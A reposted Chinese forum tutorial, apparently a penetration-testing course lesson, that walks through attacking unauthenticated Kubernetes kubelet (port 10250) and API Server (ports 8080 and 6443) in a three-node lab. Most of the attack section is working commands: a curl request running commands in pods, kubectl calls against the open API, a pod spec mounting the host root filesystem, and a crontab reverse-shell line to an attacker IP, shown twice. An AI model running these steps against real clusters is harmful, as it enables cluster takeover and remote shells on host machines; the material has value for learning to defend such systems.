梦应逍遥 发表于 2024-10-13 22:48:50

【第97课】云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&

免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于贸易用途,不能保证其正当性,准确性,完整性和有效性,请根据情况自行判定。
假如任何单位或个人以为该项目标脚本大概涉嫌侵占其权利,则应实时关照并提供身份证明,全部权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技能、思路及工具等相关知识仅供安全为目标的学习使用,任何人不得将其应用于非法用途及红利等目标,间接使用文章中的任何工具、思路及技能,我方对于由此引起的法律后果概不负责。
知识点

1、云原生-K8s安全-名词架构&各攻击点
2、云原生-K8s安全-Kubelet未授权访问
3、云原生-K8s安全-API Server未授权访问
章节点:
云场景攻防:公有云,私有云,混合云,假造化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等
K8S集群架构解释

Kubernetes通俗来讲就是用来管理多台主机上的docker容器的一个开源平台应用。
1、Master节点(控制端)
2、Node节点(主机)
3、Pod(容器)
具体参考:云原生kubernetes安全_kubernetes dashboard渗出-CSDN博客
https://i-blog.csdnimg.cn/blog_migrate/2725947f9df7af08ff82aadfb63d6a23.png
https://i-blog.csdnimg.cn/blog_migrate/3621b39621d9e2c5997389c83cdaf48b.png
K8S集群攻击点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。
以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过攻击云管理平台(K8S-Master节点),利用管理平台控制所有机器
2、通过docker容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
https://i-blog.csdnimg.cn/blog_migrate/a54d822aec7feee1dca9e442a62af519.png
如何判定对方使用了k8s技能?

扫目标端口来判定
https://i-blog.csdnimg.cn/blog_migrate/a2d54922f326e12086b1a518ad080124.png
当地搭建情况测试

搭建情况使用3台Centos 7,参考文章:
centos7安装kubernetes k8s v1.16.0 国内情况 - 简书
centos7 搭建 kubernetes1.16.0 集群_centos the connection to the server localhost:8080-CSDN博客
一个集群包含三个节点,此中包罗一个控制节点和两个工作节点
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
https://i-blog.csdnimg.cn/blog_migrate/fa40abb2f46d1b19421feea56ba5962e.png
https://i-blog.csdnimg.cn/blog_migrate/b30b8b1dbc9654ddeba39021729bfcbc.png
一、演示案例-云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

https://i-blog.csdnimg.cn/blog_migrate/da81d3fc6605ff06cc2c8ab8cc7a3f29.png
https://i-blog.csdnimg.cn/blog_migrate/ca27a94afed0796193c9f8e3abf060a8.png
192.168.230.132配置如下:
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

https://i-blog.csdnimg.cn/blog_migrate/3d98ebc1b0c4da3b6eabb96758c4c98e.png
https://i-blog.csdnimg.cn/blog_migrate/003b9629a658b8cab06e7a0b0a268bd3.png
https://i-blog.csdnimg.cn/blog_migrate/ee818a89d66eceacb490dfea0415f1f7.png
利用实行命令这里需要三个参数

namespace:default
pod:test03
container:test03
1、访问获取三个参数值

https://192.168.139.132:10250/runningpods/
https://i-blog.csdnimg.cn/blog_migrate/1797f1f649400bd90ee0bec973f87f86.png
2、实行容器命令:

curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
https://i-blog.csdnimg.cn/blog_migrate/289d84f624a82f40ee9152867e90250f.png
实行的命令是test03容器里的命令,需要举行容器逃逸。
二、演示案例-云原生-K8s安全-API Server未授权访问

1、攻击8080端口:API Server(Master)未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
https://i-blog.csdnimg.cn/blog_migrate/69c8ff296b0edc3420013ae30756b2bf.png
https://i-blog.csdnimg.cn/blog_migrate/6a9e8b3223acf6f0ff2170ea3070ae86.png
https://i-blog.csdnimg.cn/blog_migrate/5f1e39fd78afdabc9a207d62f9c3e230.png
https://i-blog.csdnimg.cn/blog_migrate/995fec7534fee834b6ac7a2577827690.png
重启kubelet历程
systemctl restart kubelet
https://i-blog.csdnimg.cn/blog_migrate/2ee2c683f4704815ff719622fbebf94c.png
kubectl官方工具下载地址:安装工具 | Kubernetes
一、获取全部主机(nodes)节点

kubectl.exe -s 192.168.139.130:8080 get nodes
https://i-blog.csdnimg.cn/blog_migrate/e2239a34fe949c276499da2e50dbb2f9.png
二、获取全部容器(pods)节点

kubectl.exe -s 192.168.139.130:8080 get pods
https://i-blog.csdnimg.cn/blog_migrate/75e3ba5caceb5dd6563a0f3d5c0db967.png
三、创建新的docker容器

kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml
//创建一个pod文件,相当于新建一个名为xiaodi的docker容器
https://i-blog.csdnimg.cn/blog_migrate/04667da31ad84673eb69c8120b6aaa5a.png
https://i-blog.csdnimg.cn/blog_migrate/8b5db43e3a506bc9198fa89f6098cf57.png
https://i-blog.csdnimg.cn/blog_migrate/926280edbd0b11d1a7b180ad871cd82c.png
https://i-blog.csdnimg.cn/blog_migrate/a956bdf7473f26d3076de0a6941cee8a.png
https://i-blog.csdnimg.cn/blog_migrate/b61a9e16ef0205dd2e81235e9438f00a.png
四、进入到创建的docker容器

kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash
//docker进入到xiaodi容器的命令
https://i-blog.csdnimg.cn/blog_migrate/5e7cb4cc8e7414f46ecb6129b514b6da.png
五、容器逃逸获取宿主机shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
https://i-blog.csdnimg.cn/blog_migrate/0685c7d10e3fa8784c577bb6428a210d.png
等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
https://i-blog.csdnimg.cn/blog_migrate/b8f37539e57f5b389871d42b74fd31bc.png
https://i-blog.csdnimg.cn/blog_migrate/4d7d5f651d0b7929834bdf8ae19f9255.png
2、攻击6443端口:API Server(Master)未授权访问

https://i-blog.csdnimg.cn/blog_migrate/3613ef6294fc2c30a28b68e8cf6f913a.png
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous
一、创建恶意pods容器

https://192.168.139.130:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
https://i-blog.csdnimg.cn/blog_migrate/cf99c11fb6dd7b058e8b9e19e3b7681b.png
二、连接检察pods

kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
https://i-blog.csdnimg.cn/blog_migrate/f211e8ab88a9a8b2544e61c1332940da.png
三、进入到test03容器里并反弹宿主机的shell

kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test03 bash
https://i-blog.csdnimg.cn/blog_migrate/7bcaee4ce2745beb1e73ddad72ca6bcf.png
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了
等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
https://i-blog.csdnimg.cn/blog_migrate/04b967879baa8721c952def7bda2403f.png
https://i-blog.csdnimg.cn/blog_migrate/9512320951dbb7d008c45e20e8ae9965.png


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【第97课】云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&